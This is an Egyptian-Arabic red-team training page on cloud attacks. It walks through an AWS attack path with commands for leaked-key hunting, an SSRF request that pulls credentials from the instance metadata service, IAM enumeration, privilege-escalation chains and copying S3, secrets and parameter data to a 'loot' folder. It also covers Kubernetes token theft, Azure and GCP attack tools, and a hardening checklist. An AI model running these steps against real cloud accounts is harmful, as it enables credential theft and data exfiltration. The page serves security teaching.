الفرق الحمراء — الهجومخبير100mL39

Cloud Attacks — AWS / Azure / GCP بتقع إزاي

الجبهة السحابية — IAM و S3 و IMDS و Containers

#AWS#IAM#S3#IMDSv1#Kubernetes

ليه السحابة هدف رقم واحد دلوقتي؟

تشبيه — شرح مبسط
- طب السحابة "آمنة" صح يا حضرتك؟؟ AWS و Azure شايلين الموضوع! ها ها ها يا نجم الجيل.. طب أمازون اتخرقت قبل كده؟ ليه إذن؟ السحابة زي برج فيه ألف مكتب، وكل صاحب مكتب بيركب قفله بإيده. واحد ركّب قفل ضعيف؟ اللص بيدخل مكتبه من غير ما حد ياخد باله، ومن هناك بيوصل لأبواب داخلية في البرج كله. أكتر من 80٪ من اختراقات السحابة سببها سوء تكوين. مش ثغرة برمجية. مش zero-day. سوء تكوين. Capital One 2019: SSRF واحدة وصلت للـ IMDSv1. 100 مليون عميل. غرامة 80 مليون دولار. ولسه في 2026 شركات شغّالة على IMDSv1.

نموذج المسؤولية المشتركة

الـ Cloud Provider مسؤول عن أمن السحابة — الأجهزة، الـ hypervisor، الداتا سنتر.
إنت مسؤول عن الأمن جوه السحابة — الـ IAM، التكوين، الداتا، الشبكة.
لما حد يقولك "AWS اتخرقت"، اسأله سؤال واحد: "اتخرق إيه بالظبط؟" في 99٪ من الحالات، AWS ما اتخرقتش. عميل من عملاءها سايب bucket public.

اوعى تعمل الغلطات دي

اللي كل واحد جديد بيقع فيه
  • يعمل IAM user ويديه AdministratorAccess "علشان أجرّب بسرعة". ينسى يشيلها.
  • يحط access keys في الـ git repo. يعمل push. ينسى. بعد 4 شهور يلاقي bill بـ 50 ألف دولار.
  • يفعّل CloudTrail بس في region واحدة. باقي الـ regions blind.
  • يفتكر إن "S3 bucket private" يعني "آمن"، وينسى الـ presigned URLs والـ bucket policies المتعارضة.
  • يستخدم نفس الـ IAM role للـ dev والـ prod. أول compromise، الـ blast radius كله الإنتاج.

AWS Attack Path — مسار هجوم نموذجي

01
جمع المعلومات
bash
aws s3 ls s3://target-backups --no-sign-request
amass enum -d target.gov -src
crt.sh → *.elb.amazonaws.com baring target name
02
مفاتيح مسربة من GitHub
bash
gitleaks detect --source=. --report-format=json
trufflehog github --org=target --only-verified
aws sts get-caller-identity --profile leaked
03
استغلال SSRF عشان توصل للـ IMDS
payload
GET http://169.254.169.254/latest/meta-data/iam/security-credentials/
{"AccessKeyId":"ASIA...","SecretAccessKey":"abc...","Token":"FQoG..."}
الفرق بين IMDSv1 وv2
IMDSv2 بيتطلب توكن PUT وبيمنع الـ SSRF الكلاسيكي. فعّله إجبارياً (HttpTokens=required).
04
عدّ صلاحيات الـ IAM
bash
aws sts get-caller-identity
aws iam list-user-policies --user-name $U
aws iam simulate-principal-policy --policy-source-arn ... --action-names "*"
pacu
cloudfox aws inventory --profile pwned
enumerate-iam --access-key ... --secret-key ...
05
رفع الصلاحيات — Privilege Escalation
  • iam:CreateAccessKey على يوزر تاني.
  • iam:AttachUserPolicy → ربط AdministratorAccess.
  • iam:PassRole + ec2:RunInstances = شغل EC2 بدور أعلى.
  • lambda:UpdateFunctionCode على Lambda معاها دور أعلى.
  • sts:AssumeRole مع trust policy بايظ.
06
حصاد الداتا
bash
aws s3 sync s3://target-backups ./loot/
aws rds describe-db-snapshots
aws secretsmanager list-secrets
aws ssm get-parameters-by-path --path /prod --with-decryption

الغلطات الأكثر شيوعاً في AWS

S3 Public Buckets
aws s3api put-bucket-acl --acl public-read = كارثة. فعّل Block Public Access على مستوى الحساب.
Wildcard في الـ IAM
"Action":"*","Resource":"*" = صلاحية كاملة. استخدم Access Analyzer عشان تكشفها.
Security Groups مفتوحة
0.0.0.0/0:22 أو :3389 = هدف لـ brute force. استخدم SSM Session Manager بدل SSH.
CloudTrail مقفول
من غير CloudTrail + GuardDuty مش هتعرف أصلاً إنك اتخرقت.

Azure / GCP باختصار

Azure

  • هجمات على Entra ID (Azure AD) — device code phishing, illicit consent.
  • الأدوات: ROADtools, AADInternals, MicroBurst.
  • Managed Identity = نسخة الـ IMDS في Azure (169.254.169.254).

GCP

  • الـ Service Accounts = أكبر بقعة مكشوفة.
  • iam.serviceAccountTokenCreator + actAs = privesc.
  • الأدوات: GCPBucketBrute, gcloud-pwn, hayat.

Kubernetes — السحابة جوه السحابة

  • kubelet مفتوح بدون authn؟ كارثة كاملة.
  • RBAC فيه cluster-admin لكل ServiceAccount.
  • صور حاويات فيها ثغرات (استخدم trivy عشان تفحصها).
  • pod بـ privileged: true = خروج للـ node نفسها.
kubectl from inside compromised pod
cat /var/run/secrets/kubernetes.io/serviceaccount/token
kubectl auth can-i --list
peirates

الحماية السحابي — Cloud Hardening

  1. CSPM (Prisma Cloud, Wiz, AWS Security Hub) عشان يكشف سوء التكوين أوتوماتيك.
  2. CIEM لتحليل صلاحيات IAM الزيادة.
  3. SCPs لمنع الأفعال الخطرة على مستوى المؤسسة.
  4. CloudTrail + GuardDuty + Detective.
  5. طبّق AWS Foundational Security Best Practices + CIS AWS Benchmark.
  6. IMDSv2 إجبارياً + اقفل الـ public IP افتراضياً.
  7. شفّر كل EBS وS3 وRDS بـ KMS + فعّل MFA Delete.
  8. Just-In-Time access عن طريق AWS SSO / PIM.
حسبة سريعة
لو قللت صلاحيات الـ IAM للـ least privilege، إنت بتوقف 90% من مسارات الـ privesc المعروفة. لازمة المراهنة دي.

الخلاصة الناشفة

السحابة مش بتتخرق بـ zero-day.

بتتخرق بـ access key مسرّب على GitHub، و bucket public، و IAM policy فيها wildcard اتكتب في 2020 ومحدش فاكرها.

المستجد بيدوّر على CVE في AWS. مفيش CVE يا نجم.

المحترف بيدوّر على configuration drift، وسطر Action: "*" اتسحب من Stack Overflow وانحط في prod.

اكتبها على ظهر إيدك واسأل نفسك كل صبح:

"لو الـ access key ده اتسرّب دلوقتي، البلاست راديوس قده إيه؟"

لو الإجابة "كل الـ tenant"، يبقى المعمار غلط. مش الموضوع EDR ومراقبة. الموضوع least privilege من الأول.